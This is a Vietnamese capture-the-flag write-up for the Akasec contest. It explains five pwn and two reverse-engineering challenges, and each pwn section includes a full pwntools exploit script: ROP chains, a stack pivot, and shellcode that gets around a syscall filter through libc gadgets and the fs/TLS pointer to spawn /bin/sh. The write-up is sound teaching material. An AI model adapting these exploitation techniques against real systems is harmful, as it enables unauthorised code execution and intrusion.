**Akasec writeup**
---
Đây là writeup các bài mình giải được trong giải akasec, bao gồm cả pwn và reverse
---
**Pwn**
---
*Warmup:*
---
- Challenge này khá đơn giản


- Nhìn sơ qua có thể thấy chúng ta được cung cấp pointer của puts từ đầu, sau đó 2 lần input, 1 lần vào `name[]` có thể xác định địa chỉ vì NO PIE, lần thứ 2 sẽ overflow
- Sau khi thử thì overflow chỉ 2 frame, không đủ ROPchain nên giải quyết bằng cách input ROPchain vào `name[]`, sao đó overflow jump về ROPchain ở `name[]` và lấy flag
```python!
from pwn import *
cmd = '''
b *main + 166
continue
'''
#chall = gdb.debug("./warmup_patched", cmd)
chall = remote("172.210.129.230", 1338)
libc = ELF("./libc.so.6")
def leak():
return int(chall.recv(14).decode(), 16)
def p(val):
return p64(val, endian = 'little')
def _pad(val, num):
ret = val
while(len(ret) < num):
ret += b'a'
return ret
libc.address = leak() - 0x87bd0
print(hex(libc.address))
pop_rdi = libc.address + 0x10f75b
pop_rsi = libc.address + 0x110a4d
pop_rax = libc.address + 0xdd237
syscall = libc.address + 0x288b5
_ret = 0x401281
_bin_sh = libc.address + 0x1cb42f
pop_rdx_leave = libc.address + 0x9819d
_leave = 0x401280
_name = 0x404060
payload = p(_name + 0x100) + p(pop_rdx_leave) + p(0) * 10
payload = _pad(payload, 0x100)
payload += p(_ret) + p(_ret) + p(pop_rdi) + p(_bin_sh) + p(pop_rsi) + p(0)
payload += p(pop_rax) + p(0x3b) + p(syscall)
chall.sendlineafter(b'name>>', payload)
payload = b'a' * 64 + p(_name) + p(_leave)
chall.sendlineafter(b'alright>>', payload)
chall.interactive()
```
`flag:AKASEC{1_Me44444N_J00_C0ULDve_ju57_574CK_p1V07ed}`
---
*Goodtrip:*
---
- Nhìn sơ qua challenge


- Challenge sẽ cho chúng ta input shellcode nhưng filter sẽ chặn `syscall`, `sysenter` và `int 0x80`, đồng thời mprotect vùng shellcode để chúng ta không thể ghi đè lại shellcode nhằm bypass filter
- Đồng thời trước khi exec shellcode thì các thanh ghi sau cũng bị xóa:
- 
- Ở đây sẽ có nhiều hướng tiếp cận
- 1: Vì chương trình NO PIE và có sử dụng hàm read nên ta có thể lấy addr của hàm read ở got, tính offset đến syscall có trong hàm read, sử dụng thay cho syscall
- 2: mprotect sẽ dựa vào size code mà chúng ta nhập vào, tuy nhiên size không ảnh hưởng đến giới hạn len của shellcode chúng ta nhập, nên nhập 0 thì chúng ta vẫn có quyền write đè shellcode, từ đó vẫn có thể gọi syscall
- Ở trong giải mình không để ý thấy cách 2, nên đã solve theo cách 1
```python!
from pwn import *
cmd = '''
b *exec + 64
continue
si
'''
#chall = gdb.debug("./good_trip", cmd)
chall = remote("172.210.129.230", 1351)
def p(val):
return p64(val, endian = 'little')
context.log_level = 'debug'
chall.sendlineafter(b'code size >> ', str(0x1000).encode())
payload = asm('''
mov rdi, 0x133713102d
xor rsi, rsi
xor rdx, rdx
mov rax, 0x403fc0
mov rax, [rax]
add rax, 15
mov rbx, rax
xor rax, rax
mov rax, 0x3b
jmp rbx
''', arch = 'amd64', os = 'linux')
payload += b'/bin/sh\x00'
chall.sendlineafter(b'code >> ', payload)
chall.interactive()
```
`flag: AKASEC{y34h_You_C4N7_PRO73C7_5om37hIn9_YoU_doN7_h4V3}`
---
*Bad trip:*
---


- Challenge này tương tự như challenge good trip, tuy nhiên lần này chương trình full protected và có leak cho chúng ta 4 lower bytes của puts addr, các thanh ghi bị xóa trước khi exec shellcode vẫn tương tự
- Nhiệm vụ của chúng ta bây giờ là tìm 1 cách nào đấy biết được 2 byte còn lại của địa chỉ là áp dụng cách của good trip lấy shell
- Ở đây, có thanh ghi `fs` sẽ cho chúng ta thông tin ở vùng tls - nằm ngay trên libc và thường có format giống với libc `tls: 0x7fff%%%%%%%% - libc: 0x7fff%%%%%%%%`
- Vậy nên có thể tận dụng fs:[0x10] chứa pointer trỏ vào tls để lấy 2 byte chúng ta còn thiếu, tính offset và có syscall để gọi shell
```python!
from pwn import *
cmd = '''
b *exec + 64
continue
si
'''
#chall = gdb.debug("./bad_trip_patched", cmd)
chall = remote("172.210.129.230", 1352)
def p(val):
return p64(val, endian = 'little')
context.log_level = 'debug'
def leak():
return int(chall.recv(10).decode(), 16)
chall.recvuntil(b'with ')
_syscall = leak() + 0x8993f
payload = asm(f'''
mov rdi, 0x1337131050
xor rsi, rsi
xor rdx, rdx
mov rax, 0x10
mov rax, fs:[rax]
mov rbx, 0xffffffff00000000
and rax, rbx
mov rcx, {hex(_syscall)}
add rax, rcx
mov rbx, rax
xor rax, rax
mov rax, 0x3b
xor rcx, rcx
jmp rbx
''', arch = 'amd64', os = 'linux')
while(len(payload) < 0x50):
payload += b'\x90'
payload += b'/bin/sh\x00'
print(payload)
chall.sendlineafter(b'code >> ', payload)
chall.interactive()
```
`flag: AKASEC{pr3f37CH3M_Li8C_4Ddr35532}`
---
*The absolute horror of the trip:*
---
- 
- 
- Challenge vẫn giống với bad trip, tuy nhiên có điểm khác biệt đó là trước khi exec shellcode thì các thanh ghi sau bị xóa:
- 
- Có thể thấy, thanh ghi fs mà chúng ta sử dụng cho solve ở bad trip không bị ảnh hưởng, nên có thể copy paste qua và có flag
- Điều mình tiếc nhất đó là không đủ tỉnh táo để nhận ra `xmm` và `fs` không liên quan đến nhau, cũng như không thử code bad trip nên trong giải mình bị lỡ 1 flag quá tiếc
- Có lẽ fs là cách intend mà author muốn hướng đến, vì ở bad trip, author nhận ra có nhiều unintend nên chặn ở challenge này nhưng mà là `xmm` chứ không phải `fs`. Có thêm kiến thức ở đây : `xmm hay fs đều có address dùng được`
```python!
from pwn import *
cmd = '''
b *exec + 131
continue
si
'''
#chall = gdb.debug("./the_absolute_horror_of_the_trip_patched", cmd)
chall = remote("172.210.129.230", 1369)
def p(val):
return p64(val, endian = 'little')
context.log_level = 'debug'
def leak():
return int(chall.recv(10).decode(), 16)
chall.recvuntil(b'DPH* ')
_syscall = leak() + 0x8993f
payload = asm(f'''
mov rdi, 0x1337131050
xor rsi, rsi
xor rdx, rdx
mov rax, 0x10
mov rax, fs:[rax]
mov rbx, 0xffffffff00000000
and rax, rbx
mov rcx, {hex(_syscall)}
add rax, rcx
mov rbx, rax
xor rax, rax
mov rax, 0x3b
xor rcx, rcx
jmp rbx
''', arch = 'amd64', os = 'linux')
while(len(payload) < 0x50):
payload += b'\x90'
payload += b'/bin/sh\x00'
print(payload)
chall.sendlineafter(b'code >> ', payload)
chall.interactive()
```
`flag: AKASEC{NoW_You_r34lly_H4V3_7o_pr3F37cH3M_li8C_4DDR5}`
---
*Yapping:*
---
- 
- 
- Challenge này có hàm vuln cho phép chúng ta read overflow, đồng thời cũng có hàm win
- 
- Tuy nhiên win sẽ kiểm tra tại 0x404000 có phải là xâu `admin` hay không trước khi open, read, write flag cho chúng ta
- Vì hàm vuln cho phép overflow nhưng chưa đủ để ghi đè saved_rip nhảy đến chỗ chúng ta muốn cũng như chúng ta cần phải ghi đè `0x404000` thành `admin` trước nên chưa thể 1 lần overflow có flag
- Tuy nhiên, chúng ta có thể ghi đè giá trị của `i`, giúp chúng ta có thể ghi đè bất cứ đâu chúng ta muốn 1 lần nên mình đã tiếp cận như sau:
- Lần đầu tiên, mình overflow biến `i` để ghi đè saved_rip thành địa chỉ của hàm vuln đểcó thể ghi thêm 1 lần nữa (nhưng bỏ qua phần setup thanh ghi) đồng thời gán saved_rbp thành `0x404070` vì chương trình sẽ bắt đầu ghi từ `rbp-0x70`.
- Lần tiếp theo sau khi return mình sẽ ghi đè được `0x404040` thành `admin`, rồi bof 1 lần nữa để nhảy vào win và có được flag.
```python!
from pwn import *
cmd = '''
continue
'''
# Because there only print helloooo, so that i have to sleep everywhere
#chall = gdb.debug("./challenge", cmd)
chall = remote("20.80.240.190", 14124)
def p(val):
return p64(val, endian = 'little')
context.log_level = 'debug'
chall.recv(timeout = 10)
_win = 0x401160
_user = 0x404000
_vuln = 0x4011f0
for i in range(6):
sleep(0.5)
chall.sendline(p(0x7000000070))
for i in range(2):
chall.send(p(0x7000000070))
chall.sendline(p(_vuln + 4))
sleep(1)
for i in range(9):
sleep(1)
chall.sendline(b'123')
sleep(1)
chall.send(p(_user + 0x70))
sleep(1)
chall.send(p(_vuln + 4))
sleep(1)
chall.send(p(_win))
sleep(1)
chall.send(p(0x6400401160))
sleep(1)
chall.send(p(0))
sleep(1)
chall.sendline(b'admin\x00')
for i in range(14):
sleep(1)
chall.sendline()
chall.interactive()
```
`flag: AKASEC{y4pp1n6_15_50m371m35_u53full_9b9b3d9}`
---
**Reverse**
---
*Paranoia:*
---
- 
- Challenge sẽ encode flag với byte random sau đó in ra cho chúng ta
- Đơn giản là chúng ta code 1 chương trình tương tự, sau đó dịch các byte được gửi về là có được flag
```python!
from pwn import *
from ctypes import CDLL
chall = remote("20.80.240.190", 1234)
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
_seed = libc.time(0)
libc.srand(_seed)
flag = chall.recvuntil(b'\n')[:-2].decode().split()
_xor = []
for i in range(36):
tmp = libc.rand() & 0xff
_xor.append(tmp)
_flag = b''
for i in range(36):
_flag += bytes.fromhex(hex(int(flag[i], 10) ^ _xor[i])[2:])
print(_flag)
```
`flag: akasec{n0t_t00_m4ny_br41nc3lls_l3ft}`
---
*Grip:*
---
- Challenge khá dài, mình tóm tắt lại là chương trình sẽ decode flag sau đó puts(":3")
- Bản thân chương trình có anti debugger
- 
- Mình bật gdb lên, jump qua khỏi anti debugger và xem flag ở trong stack sau khi chương trình decode xong
`flag: akasec{sh1tty_p4ck3d_b1n4ry}`
---